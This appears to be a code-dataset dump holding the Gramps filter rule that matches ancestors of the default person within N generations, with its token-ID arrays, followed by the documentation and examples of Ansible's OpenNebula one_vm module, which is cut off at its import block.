gramps/gen/filters/rules/person/_islessthannthgenerationancestorofdefaultperson.py
|
2
|
3255
|
#
# Gramps - a GTK+/GNOME based genealogy program
#
# Copyright (C) 2002-2006 Donald N. Allingham
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
#-------------------------------------------------------------------------
#
# Standard Python modules
#
#-------------------------------------------------------------------------
from ....const import GRAMPS_LOCALE as glocale
_ = glocale.translation.gettext
#-------------------------------------------------------------------------
#
# Gramps modules
#
#-------------------------------------------------------------------------
from .. import Rule
#-------------------------------------------------------------------------
#
# IsLessThanNthGenerationAncestorOfDefaultPerson
#
#-------------------------------------------------------------------------
class IsLessThanNthGenerationAncestorOfDefaultPerson(Rule):
# Submitted by Wayne Bergeron
"""Rule that checks for a person that is an ancestor of the default person
not more than N generations away"""
labels = [ _('Number of generations:') ]
name = _('Ancestors of the default person '
'not more than <N> generations away')
category = _('Ancestral filters')
description = _("Matches ancestors of the default person "
"not more than N generations away")
def prepare(self, db, user):
self.db = db
self.map = set()
p = db.get_default_person()
if p:
self.def_handle = p.get_handle()
self.apply = self.apply_real
self.init_ancestor_list(self.def_handle, 1)
else:
self.apply = lambda db,p: False
def init_ancestor_list(self, handle, gen):
# if p.get_handle() in self.map:
# loop_error(self.orig,p)
if not handle or handle in self.map:
# if we have been here before, skip
return
if gen:
self.map.add(handle)
if gen >= int(self.list[0]):
return
p = self.db.get_person_from_handle(handle)
fam_id = p.get_main_parents_family_handle()
if not fam_id:
return
fam = self.db.get_family_from_handle(fam_id)
if fam:
f_id = fam.get_father_handle()
m_id = fam.get_mother_handle()
if f_id:
self.init_ancestor_list(f_id, gen+1)
if m_id:
self.init_ancestor_list(m_id, gen+1)
def apply_real(self,db,person):
return person.handle in self.map
def reset(self):
self.map.clear()
|
gpl-2.0
|
[
3,
199,
3,
10268,
13408,
446,
282,
598,
15263,
19616,
39,
2826,
3635,
4079,
15599,
2548,
89,
2240,
199,
3,
199,
3,
1898,
334,
35,
9,
14790,
13,
7968,
221,
7529,
27075,
653,
14,
2900,
316,
10670,
199,
3,
199,
3,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
14259,
12,
12066,
11844,
12,
8226,
12,
4828,
11315,
13,
10067,
8217,
14,
199,
3,
199,
199,
25812,
199,
3,
199,
3,
9739,
2018,
4621,
199,
3,
199,
25812,
199,
504,
29222,
1297,
492,
21772,
1156,
5067,
63,
20828,
465,
486,
5508,
199,
63,
275,
486,
5508,
14,
6893,
14,
5152,
199,
199,
25812,
199,
3,
199,
3,
10268,
13408,
4621,
199,
3,
199,
25812,
199,
504,
2508,
492,
11949,
199,
199,
25812,
199,
3,
199,
3,
6596,
32693,
46,
273,
18514,
28942,
8041,
3466,
2698,
7344,
199,
3,
199,
25812,
199,
533,
6596,
32693,
46,
273,
18514,
28942,
8041,
3466,
2698,
7344,
8,
5065,
304,
272,
327,
4804,
4485,
701,
644,
1187,
685,
23207,
836,
265,
272,
408,
5065,
626,
5920,
367,
282,
4954,
626,
365,
376,
18432,
402,
314,
849,
4954,
272,
440,
1655,
2419,
653,
1519,
1298,
13437,
624,
339,
3628,
420,
275,
359,
4018,
3259,
402,
1519,
1298,
10993,
1622,
272,
536,
263,
275,
4018,
28942,
14445,
402,
314,
849,
4954,
283,
490,
283,
1397,
1655,
2419,
665,
46,
30,
1519,
1298,
13437,
358,
272,
4637,
259,
275,
4018,
28942,
31943,
4766,
358,
272,
1369,
275,
3824,
12962,
20158,
402,
314,
849,
4954,
298,
490,
298,
1397,
1655,
2419,
653,
1519,
1298,
13437,
531,
339,
347,
9275,
8,
277,
12,
1592,
12,
922,
304,
267,
291,
14,
697,
275,
1592,
267,
291,
14,
1130,
275,
663,
342,
267,
299,
275,
1592,
14,
362,
63,
885,
63,
5484,
342,
267,
340,
299,
26,
288,
291,
14,
318,
63,
2479,
275,
299,
14,
362,
63,
2479,
342,
288,
291,
14,
4998,
275,
291,
14,
4998,
63,
3093,
288,
291,
14,
826,
63,
20745,
63,
513,
8,
277,
14,
318,
63,
2479,
12,
413,
9,
267,
587,
26,
288,
291,
14,
4998,
275,
2400,
1592,
12,
80,
26,
756,
339,
347,
4205,
63,
20745,
63,
513,
8,
277,
12,
2429,
12,
3805,
304,
199,
3,
263,
340,
299,
14,
362,
63,
2479,
342,
315,
291,
14,
1130,
26,
199,
3,
3322,
4438,
63,
705,
8,
277,
14,
2981,
12,
80,
9,
267,
340,
440,
2429,
503,
2429,
315,
291,
14,
1130,
26,
288,
327,
340,
781,
1172,
2757,
2348,
2544,
12,
3372,
288,
372,
267,
340,
3805,
26,
288,
291,
14,
1130,
14,
525,
8,
2479,
9,
288,
340,
3805,
2356,
1109,
8,
277,
14,
513,
59,
16,
4682,
355,
372,
398,
299,
275,
291,
14,
697,
14,
362,
63,
5484,
63,
504,
63,
2479,
8,
2479,
9,
267,
21450,
63,
344,
275,
299,
14,
362,
63,
973,
63,
8859,
63,
6606,
63,
2479,
342,
267,
340,
440,
21450,
63,
344,
26,
288,
372,
267,
21450,
275,
291,
14,
697,
14,
362,
63,
6606,
63,
504,
63,
2479,
8,
18493,
63,
344,
9,
267,
340,
21450,
26,
288,
289,
63,
344,
275,
21450,
14,
362,
63,
667,
728,
63,
2479,
342,
288,
333,
63,
344,
275,
21450,
14,
362,
63,
573,
728,
63,
2479,
342,
953,
340,
289,
63,
344,
26,
355,
291,
14,
826,
63,
20745,
63,
513,
8,
70,
63,
344,
12,
3805,
11,
17,
9,
288,
340,
333,
63,
344,
26,
355,
291,
14,
826,
63,
20745,
63,
513,
8,
77,
63,
344,
12,
3805,
11,
17,
9,
339,
347,
4838,
63,
3093,
8,
277,
12,
697,
12,
5484,
304,
267,
372,
4954,
14,
2479,
315,
291,
14,
1130,
339,
347,
5305,
8,
277,
304,
267,
291,
14,
1130,
14,
3584,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
199,
3,
10268,
13408,
446,
282,
598,
15263,
19616,
39,
2826,
3635,
4079,
15599,
2548,
89,
2240,
199,
3,
199,
3,
1898,
334,
35,
9,
14790,
13,
7968,
221,
7529,
27075,
653,
14,
2900,
316,
10670,
199,
3,
199,
3,
961,
2240,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
27,
1902,
1015,
499,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
642,
2240,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
14259,
12,
12066,
11844,
12,
8226,
12,
4828,
11315,
13,
10067,
8217,
14,
199,
3,
199,
199,
25812,
199,
3,
199,
3,
9739,
2018,
4621,
199,
3,
199,
25812,
199,
504,
29222,
1297,
492,
21772,
1156,
5067,
63,
20828,
465,
486,
5508,
199,
63,
275,
486,
5508,
14,
6893,
14,
5152,
199,
199,
25812,
199,
3,
199,
3,
10268,
13408,
4621,
199,
3,
199,
25812,
199,
504,
2508,
492,
11949,
199,
199,
25812,
199,
3,
199,
3,
6596,
32693,
46,
273,
18514,
28942,
8041,
3466,
2698,
7344,
199,
3,
199,
25812,
199,
533,
6596,
32693,
46,
273,
18514,
28942,
8041,
3466,
2698,
7344,
8,
5065,
304,
272,
327,
4804,
4485,
701,
644,
1187,
685,
23207,
836,
265,
272,
408,
5065,
626,
5920,
367,
282,
4954,
626,
365,
376,
18432,
402,
314,
849,
4954,
272,
440,
1655,
2419,
653,
1519,
1298,
13437,
624,
339,
3628,
420,
275,
359,
4018,
3259,
402,
1519,
1298,
10993,
1622,
272,
536,
263,
275,
4018,
28942,
14445,
402,
314,
849,
4954,
283,
490,
283,
1397,
1655,
2419,
665,
46,
30,
1519,
1298,
13437,
358,
272,
4637,
259,
275,
4018,
28942,
31943,
4766,
358,
272,
1369,
275,
3824,
12962,
20158,
402,
314,
849,
4954,
298,
490,
298,
1397,
1655,
2419,
653,
1519,
1298,
13437,
531,
339,
347,
9275,
8,
277,
12,
1592,
12,
922,
304,
267,
291,
14,
697,
275,
1592,
267,
291,
14,
1130,
275,
663,
342,
267,
299,
275,
1592,
14,
362,
63,
885,
63,
5484,
342,
267,
340,
299,
26,
288,
291,
14,
318,
63,
2479,
275,
299,
14,
362,
63,
2479,
342,
288,
291,
14,
4998,
275,
291,
14,
4998,
63,
3093,
288,
291,
14,
826,
63,
20745,
63,
513,
8,
277,
14,
318,
63,
2479,
12,
413,
9,
267,
587,
26,
288,
291,
14,
4998,
275,
2400,
1592,
12,
80,
26,
756,
339,
347,
4205,
63,
20745,
63,
513,
8,
277,
12,
2429,
12,
3805,
304,
199,
3,
263,
340,
299,
14,
362,
63,
2479,
342,
315,
291,
14,
1130,
26,
199,
3,
3322,
4438,
63,
705,
8,
277,
14,
2981,
12,
80,
9,
267,
340,
440,
2429,
503,
2429,
315,
291,
14,
1130,
26,
288,
327,
340,
781,
1172,
2757,
2348,
2544,
12,
3372,
288,
372,
267,
340,
3805,
26,
288,
291,
14,
1130,
14,
525,
8,
2479,
9,
288,
340,
3805,
2356,
1109,
8,
277,
14,
513,
59,
16,
4682,
355,
372,
398,
299,
275,
291,
14,
697,
14,
362,
63,
5484,
63,
504,
63,
2479,
8,
2479,
9,
267,
21450,
63,
344,
275,
299,
14,
362,
63,
973,
63,
8859,
63,
6606,
63,
2479,
342,
267,
340,
440,
21450,
63,
344,
26,
288,
372,
267,
21450,
275,
291,
14,
697,
14,
362,
63,
6606,
63,
504,
63,
2479,
8,
18493,
63,
344,
9,
267,
340,
21450,
26,
288,
289,
63,
344,
275,
21450,
14,
362,
63,
667,
728,
63,
2479,
342,
288,
333,
63,
344,
275,
21450,
14,
362,
63,
573,
728,
63,
2479,
342,
953,
340,
289,
63,
344,
26,
355,
291,
14,
826,
63,
20745,
63,
513,
8,
70,
63,
344,
12,
3805,
11,
17,
9,
288,
340,
333,
63,
344,
26,
355,
291,
14,
826,
63,
20745,
63,
513,
8,
77,
63,
344,
12,
3805,
11,
17,
9,
339,
347,
4838,
63,
3093,
8,
277,
12,
697,
12,
5484,
304,
267,
372,
4954,
14,
2479,
315,
291,
14,
1130,
339,
347,
5305,
8,
277,
304,
267,
291,
14,
1130,
14,
3584,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
aperigault/ansible
|
lib/ansible/modules/cloud/opennebula/one_vm.py
|
7
|
51120
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
"""
(c) 2017, Milan Ilic <milani@nordeus.com>
This file is part of Ansible
Ansible is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Ansible is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Ansible. If not, see <http://www.gnu.org/licenses/>.
"""
ANSIBLE_METADATA = {'status': ['preview'],
'supported_by': 'community',
'metadata_version': '1.1'}
DOCUMENTATION = '''
---
module: one_vm
short_description: Creates or terminates OpenNebula instances
description:
- Manages OpenNebula instances
version_added: "2.6"
requirements:
- python-oca
options:
api_url:
description:
- URL of the OpenNebula RPC server.
- It is recommended to use HTTPS so that the username/password are not
- transferred over the network unencrypted.
- If not set then the value of the C(ONE_URL) environment variable is used.
api_username:
description:
- Name of the user to login into the OpenNebula RPC server. If not set
- then the value of the C(ONE_USERNAME) environment variable is used.
api_password:
description:
- Password of the user to login into OpenNebula RPC server. If not set
- then the value of the C(ONE_PASSWORD) environment variable is used.
- if both I(api_username) or I(api_password) are not set, then it will try
- authenticate with ONE auth file. Default path is "~/.one/one_auth".
- Set environment variable C(ONE_AUTH) to override this path.
template_name:
description:
- Name of VM template to use to create a new instace
template_id:
description:
- ID of a VM template to use to create a new instance
vm_start_on_hold:
description:
- Set to true to put vm on hold while creating
default: False
version_added: '2.9'
instance_ids:
description:
- A list of instance ids used for states':' C(absent), C(running), C(rebooted), C(poweredoff)
aliases: ['ids']
state:
description:
- C(present) - create instances from a template specified with C(template_id)/C(template_name).
- C(running) - run instances
- C(poweredoff) - power-off instances
- C(rebooted) - reboot instances
- C(absent) - terminate instances
choices: ["present", "absent", "running", "rebooted", "poweredoff"]
default: present
hard:
description:
- Reboot, power-off or terminate instances C(hard)
default: no
type: bool
wait:
description:
- Wait for the instance to reach its desired state before returning. Keep
- in mind if you are waiting for instance to be in running state it
- doesn't mean that you will be able to SSH on that machine only that
- boot process have started on that instance, see 'wait_for' example for
- details.
default: yes
type: bool
wait_timeout:
description:
- How long before wait gives up, in seconds
default: 300
attributes:
description:
- A dictionary of key/value attributes to add to new instances, or for
- setting C(state) of instances with these attributes.
- Keys are case insensitive and OpenNebula automatically converts them to upper case.
- Be aware C(NAME) is a special attribute which sets the name of the VM when it's deployed.
- C(#) character(s) can be appended to the C(NAME) and the module will automatically add
- indexes to the names of VMs.
- For example':' C(NAME':' foo-###) would create VMs with names C(foo-000), C(foo-001),...
- When used with C(count_attributes) and C(exact_count) the module will
- match the base name without the index part.
default: {}
labels:
description:
- A list of labels to associate with new instances, or for setting
- C(state) of instances with these labels.
default: []
count_attributes:
description:
- A dictionary of key/value attributes that can only be used with
- C(exact_count) to determine how many nodes based on a specific
- attributes criteria should be deployed. This can be expressed in
- multiple ways and is shown in the EXAMPLES section.
count_labels:
description:
- A list of labels that can only be used with C(exact_count) to determine
- how many nodes based on a specific labels criteria should be deployed.
- This can be expressed in multiple ways and is shown in the EXAMPLES
- section.
count:
description:
- Number of instances to launch
default: 1
exact_count:
description:
- Indicates how many instances that match C(count_attributes) and
- C(count_labels) parameters should be deployed. Instances are either
- created or terminated based on this value.
- NOTE':' Instances with the least IDs will be terminated first.
mode:
description:
- Set permission mode of the instance in octet format, e.g. C(600) to give owner C(use) and C(manage) and nothing to group and others.
owner_id:
description:
- ID of the user which will be set as the owner of the instance
group_id:
description:
- ID of the group which will be set as the group of the instance
memory:
description:
- The size of the memory for new instances (in MB, GB, ...)
disk_size:
description:
- The size of the disk created for new instances (in MB, GB, TB,...).
- NOTE':' This option can be used only if the VM template specified with
- C(template_id)/C(template_name) has exactly one disk.
cpu:
description:
- Percentage of CPU divided by 100 required for the new instance. Half a
- processor is written 0.5.
vcpu:
description:
- Number of CPUs (cores) new VM will have.
networks:
description:
- A list of dictionaries with network parameters. See examples for more details.
default: []
disk_saveas:
description:
- Creates an image from a VM disk.
- It is a dictionary where you have to specife C(name) of the new image.
- Optionally you can specife C(disk_id) of the disk you want to save. By default C(disk_id) is 0.
- I(NOTE)':' This operation will only be performed on the first VM (if more than one VM ID is passed)
- and the VM has to be in the C(poweredoff) state.
- Also this operation will fail if an image with specified C(name) already exists.
author:
- "Milan Ilic (@ilicmilan)"
'''
EXAMPLES = '''
# Create a new instance
- one_vm:
template_id: 90
register: result
# Print VM properties
- debug:
msg: result
# Deploy a new VM on hold
- one_vm:
template_name: 'app1_template'
vm_start_on_hold: 'True'
# Deploy a new VM and set its name to 'foo'
- one_vm:
template_name: 'app1_template'
attributes:
name: foo
# Deploy a new VM and set its group_id and mode
- one_vm:
template_id: 90
group_id: 16
mode: 660
# Change VM's permissions to 640
- one_vm:
instance_ids: 5
mode: 640
# Deploy 2 new instances and set memory, vcpu, disk_size and 3 networks
- one_vm:
template_id: 15
disk_size: 35.2 GB
memory: 4 GB
vcpu: 4
count: 2
networks:
- NETWORK_ID: 27
- NETWORK: "default-network"
NETWORK_UNAME: "app-user"
SECURITY_GROUPS: "120,124"
- NETWORK_ID: 27
SECURITY_GROUPS: "10"
# Deploy an new instance with attribute 'bar: bar1' and set its name to 'foo'
- one_vm:
template_id: 53
attributes:
name: foo
bar: bar1
# Enforce that 2 instances with attributes 'foo1: app1' and 'foo2: app2' are deployed
- one_vm:
template_id: 53
attributes:
foo1: app1
foo2: app2
exact_count: 2
count_attributes:
foo1: app1
foo2: app2
# Enforce that 4 instances with an attribute 'bar' are deployed
- one_vm:
template_id: 53
attributes:
name: app
bar: bar2
exact_count: 4
count_attributes:
bar:
# Deploy 2 new instances with attribute 'foo: bar' and labels 'app1' and 'app2' and names in format 'fooapp-##'
# Names will be: fooapp-00 and fooapp-01
- one_vm:
template_id: 53
attributes:
name: fooapp-##
foo: bar
labels:
- app1
- app2
count: 2
# Deploy 2 new instances with attribute 'app: app1' and names in format 'fooapp-###'
# Names will be: fooapp-002 and fooapp-003
- one_vm:
template_id: 53
attributes:
name: fooapp-###
app: app1
count: 2
# Reboot all instances with name in format 'fooapp-#'
# Instances 'fooapp-00', 'fooapp-01', 'fooapp-002' and 'fooapp-003' will be rebooted
- one_vm:
attributes:
name: fooapp-#
state: rebooted
# Enforce that only 1 instance with name in format 'fooapp-#' is deployed
# The task will delete oldest instances, so only the 'fooapp-003' will remain
- one_vm:
template_id: 53
exact_count: 1
count_attributes:
name: fooapp-#
# Deploy an new instance with a network
- one_vm:
template_id: 53
networks:
- NETWORK_ID: 27
register: vm
# Wait for SSH to come up
- wait_for_connection:
delegate_to: '{{ vm.instances[0].networks[0].ip }}'
# Terminate VMs by ids
- one_vm:
instance_ids:
- 153
- 160
state: absent
# Reboot all VMs that have labels 'foo' and 'app1'
- one_vm:
labels:
- foo
- app1
state: rebooted
# Fetch all VMs that have name 'foo' and attribute 'app: bar'
- one_vm:
attributes:
name: foo
app: bar
register: results
# Deploy 2 new instances with labels 'foo1' and 'foo2'
- one_vm:
template_name: app_template
labels:
- foo1
- foo2
count: 2
# Enforce that only 1 instance with label 'foo1' will be running
- one_vm:
template_name: app_template
labels:
- foo1
exact_count: 1
count_labels:
- foo1
# Terminate all instances that have attribute foo
- one_vm:
template_id: 53
exact_count: 0
count_attributes:
foo:
# Power-off the VM and save VM's disk with id=0 to the image with name 'foo-image'
- one_vm:
instance_ids: 351
state: powered-off
disk_saveas:
name: foo-image
# Save VM's disk with id=1 to the image with name 'bar-image'
- one_vm:
instance_ids: 351
disk_saveas:
name: bar-image
disk_id: 1
'''
RETURN = '''
instances_ids:
description: a list of instances ids whose state is changed or which are fetched with C(instance_ids) option.
type: list
returned: success
sample: [ 1234, 1235 ]
instances:
description: a list of instances info whose state is changed or which are fetched with C(instance_ids) option.
type: complex
returned: success
contains:
vm_id:
description: vm id
type: int
sample: 153
vm_name:
description: vm name
type: str
sample: foo
template_id:
description: vm's template id
type: int
sample: 153
group_id:
description: vm's group id
type: int
sample: 1
group_name:
description: vm's group name
type: str
sample: one-users
owner_id:
description: vm's owner id
type: int
sample: 143
owner_name:
description: vm's owner name
type: str
sample: app-user
mode:
description: vm's mode
type: str
returned: success
sample: 660
state:
description: state of an instance
type: str
sample: ACTIVE
lcm_state:
description: lcm state of an instance that is only relevant when the state is ACTIVE
type: str
sample: RUNNING
cpu:
description: Percentage of CPU divided by 100
type: float
sample: 0.2
vcpu:
description: Number of CPUs (cores)
type: int
sample: 2
memory:
description: The size of the memory in MB
type: str
sample: 4096 MB
disk_size:
description: The size of the disk in MB
type: str
sample: 20480 MB
networks:
description: a list of dictionaries with info about IP, NAME, MAC, SECURITY_GROUPS for each NIC
type: list
sample: [
{
"ip": "10.120.5.33",
"mac": "02:00:0a:78:05:21",
"name": "default-test-private",
"security_groups": "0,10"
},
{
"ip": "10.120.5.34",
"mac": "02:00:0a:78:05:22",
"name": "default-test-private",
"security_groups": "0"
}
]
uptime_h:
description: Uptime of the instance in hours
type: int
sample: 35
labels:
description: A list of string labels that are associated with the instance
type: list
sample: [
"foo",
"spec-label"
]
attributes:
description: A dictionary of key/values attributes that are associated with the instance
type: dict
sample: {
"HYPERVISOR": "kvm",
"LOGO": "images/logos/centos.png",
"TE_GALAXY": "bar",
"USER_INPUTS": null
}
tagged_instances:
description:
- A list of instances info based on a specific attributes and/or
- labels that are specified with C(count_attributes) and C(count_labels)
- options.
type: complex
returned: success
contains:
vm_id:
description: vm id
type: int
sample: 153
vm_name:
description: vm name
type: str
sample: foo
template_id:
description: vm's template id
type: int
sample: 153
group_id:
description: vm's group id
type: int
sample: 1
group_name:
description: vm's group name
type: str
sample: one-users
owner_id:
description: vm's user id
type: int
sample: 143
owner_name:
description: vm's user name
type: str
sample: app-user
mode:
description: vm's mode
type: str
returned: success
sample: 660
state:
description: state of an instance
type: str
sample: ACTIVE
lcm_state:
description: lcm state of an instance that is only relevant when the state is ACTIVE
type: str
sample: RUNNING
cpu:
description: Percentage of CPU divided by 100
type: float
sample: 0.2
vcpu:
description: Number of CPUs (cores)
type: int
sample: 2
memory:
description: The size of the memory in MB
type: str
sample: 4096 MB
disk_size:
description: The size of the disk in MB
type: str
sample: 20480 MB
networks:
description: a list of dictionaries with info about IP, NAME, MAC, SECURITY_GROUPS for each NIC
type: list
sample: [
{
"ip": "10.120.5.33",
"mac": "02:00:0a:78:05:21",
"name": "default-test-private",
"security_groups": "0,10"
},
{
"ip": "10.120.5.34",
"mac": "02:00:0a:78:05:22",
"name": "default-test-private",
"security_groups": "0"
}
]
uptime_h:
description: Uptime of the instance in hours
type: int
sample: 35
labels:
description: A list of string labels that are associated with the instance
type: list
sample: [
"foo",
"spec-label"
]
attributes:
description: A dictionary of key/values attributes that are associated with the instance
type: dict
sample: {
"HYPERVISOR": "kvm",
"LOGO": "images/logos/centos.png",
"TE_GALAXY": "bar",
"USER_INPUTS": null
}
'''
try:
import oca
HAS_OCA = True
except ImportError:
